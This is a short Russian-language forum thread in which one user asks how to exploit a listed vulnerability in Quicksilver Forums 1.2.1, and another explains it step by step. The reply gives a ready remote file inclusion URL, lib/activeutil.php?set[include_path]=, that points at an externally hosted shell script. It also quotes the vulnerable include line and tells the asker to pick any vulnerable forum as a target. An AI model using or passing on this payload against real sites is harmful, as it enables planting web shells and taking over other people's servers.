Quicksilver Forums 1.2.1

[CaH9]

http://www.securitylab.ru/vulnerability/273870.php
люди помогите разобраться с уязвимостью , как ее использовать ?
P.S в поиске пусто

[kyzmi4]

О.o очень просто. Береш уязвимый форум и подставляеш в адресной строке:
lib/activeutil.php?set[include_path]="сайт с шеллом например rst"

Пример:
например есть сайт с форумом http://localhost
Там есть форум http://localhost/forum/
Пишем: http://localhost/forum/lib/activeutil.php?set[include_path]=http://site.com/evilscript.txt?

[CaH9]

а что означает [include_path] ???

[kyzmi4]

http://www.milw0rm.com/exploits/2356

require_once $set['include_path'] . '/lib/bbcode.php';

Кароче [include_path] так и оставляй =)